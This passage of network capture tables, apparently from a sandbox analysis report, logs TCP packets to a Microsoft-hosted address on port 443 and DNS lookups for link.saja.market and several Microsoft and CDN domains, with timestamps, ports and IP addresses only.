Mar 10, 2025 09:13:41.209067106 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.209108114 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.209108114 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.219733953 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.219758034 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.219791889 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.219917059 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.219929934 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.220328093 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.227233887 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.227267981 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.227355003 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.227355003 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.227370024 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.231086016 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.247237921 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.247258902 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.247407913 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.247407913 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.247422934 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.248979092 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.257520914 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.257539988 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.257875919 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.257885933 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.258097887 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.264887094 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.264905930 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.264980078 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.264988899 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.265134096 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.276730061 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.276750088 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.276849031 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.276855946 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.277008057 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.286016941 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.286034107 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.286274910 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.286286116 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.286731958 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.297600985 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.297620058 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.297703981 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.297715902 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.297887087 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.306114912 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.306137085 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.306184053 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.306195021 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.306241035 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.306241035 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.313982010 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.314002991 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.314073086 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.314084053 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.314224958 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.336677074 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.336702108 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.336754084 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.336769104 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.336815119 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.336815119 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.344765902 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.344799042 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.344862938 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.344872952 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.344908953 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.344908953 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.355005980 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.355025053 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.355154991 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.355168104 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.355216980 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.366286993 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.366302967 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.366368055 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.366379023 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.366394997 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.366434097 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.375665903 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.375685930 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.375790119 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.375790119 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.375802040 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.376163960 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.386307955 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.386326075 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.386425972 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.386425972 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.386436939 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.386542082 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.396126032 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.396142006 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.396215916 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.396224976 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.396301985 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.403804064 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.403820992 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.403906107 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.403914928 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.403995991 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.423934937 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.424062014 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.424074888 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.424087048 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.424149990 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.424149990 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.434670925 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.434693098 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.434784889 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.434796095 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.434849977 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.444745064 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.444770098 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.444860935 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.444890022 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.445321083 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.456353903 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.456377983 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.456464052 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.456473112 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.456737041 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.465600014 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.465616941 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.465682983 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.465692043 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.465883970 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.476469994 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.476500034 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.476552010 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.476573944 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.476598024 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.476675987 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.486120939 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.486140966 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.486241102 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.486267090 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.486519098 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.493917942 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.493937969 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.493989944 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.494009972 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.494256973 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.513281107 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.513307095 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.513364077 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.513384104 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.513535976 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.524965048 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.524987936 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.525053024 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.525074959 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.525218010 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.534673929 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.534691095 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.534746885 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.534775972 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.534816980 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.546535015 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.546572924 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.546606064 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.546639919 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.546674967 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.546674967 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.555917025 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.555938005 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.556027889 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.556061029 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.556202888 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.566371918 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.566391945 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.566456079 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.566479921 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.566782951 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.576153040 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.576168060 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.576273918 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.576303959 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.576448917 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.583949089 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.583966017 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.584065914 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.584090948 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.584283113 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.603549957 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.603568077 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.603621006 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.603643894 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.603679895 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.603729010 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.615183115 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.615200043 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.615297079 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.615329981 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.615343094 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.618098021 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.624785900 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.624804020 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.624917984 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.624952078 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.625154018 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.636481047 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.636498928 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.636610031 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.636635065 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.637191057 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.645963907 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.645987988 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.646085024 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.646085024 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.646110058 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.646233082 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.656506062 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.656522989 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.656596899 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.656621933 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.656860113 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.666346073 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.666363001 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.666474104 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.666491985 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.666687012 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.674109936 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.674128056 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.674200058 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.674221992 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.674412966 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.693754911 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.693778992 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.693833113 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.693851948 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.694086075 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.694201946 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.705306053 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.705336094 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.705406904 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.705440044 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.705456972 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.705863953 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.714792013 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.714818001 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.714893103 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.714922905 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.714936972 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.715040922 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.726694107 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.726722956 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.726785898 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.726813078 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.726830959 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.726869106 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.736131907 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.736152887 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.736196995 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.736222029 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.736243010 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.736273050 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.736279011 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.736316919 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.736500025 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.736500025 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.736519098 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.736530066 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:46.121129990 CET	49702	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:46.121184111 CET	443	49702	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:46.121313095 CET	49703	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:46.121330023 CET	49702	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:46.121352911 CET	443	49703	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:46.121424913 CET	49703	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:46.121782064 CET	49702	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:46.121798038 CET	443	49702	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:46.121818066 CET	49703	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:46.121834993 CET	443	49703	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:48.102690935 CET	443	49703	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:48.103785992 CET	49703	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:48.103805065 CET	443	49703	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:48.105158091 CET	49703	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:48.105170012 CET	443	49703	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:48.152264118 CET	443	49702	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:48.152760983 CET	49702	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:48.152786970 CET	443	49702	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:48.153784037 CET	49702	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:48.153789997 CET	443	49702	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:48.717185974 CET	443	49703	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:48.720948935 CET	443	49703	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:48.721358061 CET	49703	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:48.721358061 CET	49703	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:48.721503019 CET	49703	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:48.721515894 CET	443	49703	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:48.790540934 CET	443	49702	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:48.790564060 CET	443	49702	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:48.790621996 CET	443	49702	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:48.790651083 CET	49702	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:48.790680885 CET	49702	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:48.790957928 CET	49702	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:48.790976048 CET	443	49702	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:48.791002035 CET	49702	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:48.791007996 CET	443	49702	13.107.253.72	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 10, 2025 09:13:21.685928106 CET	56017	53	192.168.2.8	1.1.1.1
Mar 10, 2025 09:13:21.708162069 CET	53	56017	1.1.1.1	192.168.2.8
Mar 10, 2025 09:13:38.030720949 CET	63905	53	192.168.2.8	1.1.1.1
Mar 10, 2025 09:13:38.039176941 CET	53	63905	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 10, 2025 09:13:21.685928106 CET	192.168.2.8	1.1.1.1	0xeb23	Standard query (0)	link.saja.market	A (IP address)	IN (0x0001)	false
Mar 10, 2025 09:13:38.030720949 CET	192.168.2.8	1.1.1.1	0xd828	Standard query (0)	otelrules.svc.static.microsoft	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 10, 2025 09:12:35.397022009 CET	1.1.1.1	192.168.2.8	0x1627	No error (0)	ecs-office.s-0005.dual-s-msedge.net	shed.s-0005.dual-s-dc-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:12:35.397022009 CET	1.1.1.1	192.168.2.8	0x1627	No error (0)	shed.s-0005.dual-s-dc-msedge.net	s-0005.dual-s-dc-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:12:35.397022009 CET	1.1.1.1	192.168.2.8	0x1627	No error (0)	s-0005.dual-s-dc-msedge.net		52.123.131.14	A (IP address)	IN (0x0001)	false
Mar 10, 2025 09:12:35.397022009 CET	1.1.1.1	192.168.2.8	0x1627	No error (0)	s-0005.dual-s-dc-msedge.net		52.123.130.14	A (IP address)	IN (0x0001)	false
Mar 10, 2025 09:12:37.763190985 CET	1.1.1.1	192.168.2.8	0x7ee2	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Mar 10, 2025 09:12:37.763190985 CET	1.1.1.1	192.168.2.8	0x7ee2	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Mar 10, 2025 09:13:21.708162069 CET	1.1.1.1	192.168.2.8	0xeb23	No error (0)	link.saja.market	istio.saja.market		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:13:21.708162069 CET	1.1.1.1	192.168.2.8	0xeb23	No error (0)	istio.saja.market	service-eks-nlb-public-0b7cb0a32741e125.elb.ap-northeast-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:13:21.708162069 CET	1.1.1.1	192.168.2.8	0xeb23	No error (0)	service-eks-nlb-public-0b7cb0a32741e125.elb.ap-northeast-2.amazonaws.com		3.39.153.44	A (IP address)	IN (0x0001)	false
Mar 10, 2025 09:13:21.708162069 CET	1.1.1.1	192.168.2.8	0xeb23	No error (0)	service-eks-nlb-public-0b7cb0a32741e125.elb.ap-northeast-2.amazonaws.com		3.39.89.152	A (IP address)	IN (0x0001)	false
Mar 10, 2025 09:13:38.039176941 CET	1.1.1.1	192.168.2.8	0xd828	No error (0)	otelrules.svc.static.microsoft	otelrules-bzhndjfje8dvh5fd.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:13:38.039176941 CET	1.1.1.1	192.168.2.8	0xd828	No error (0)	otelrules-bzhndjfje8dvh5fd.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
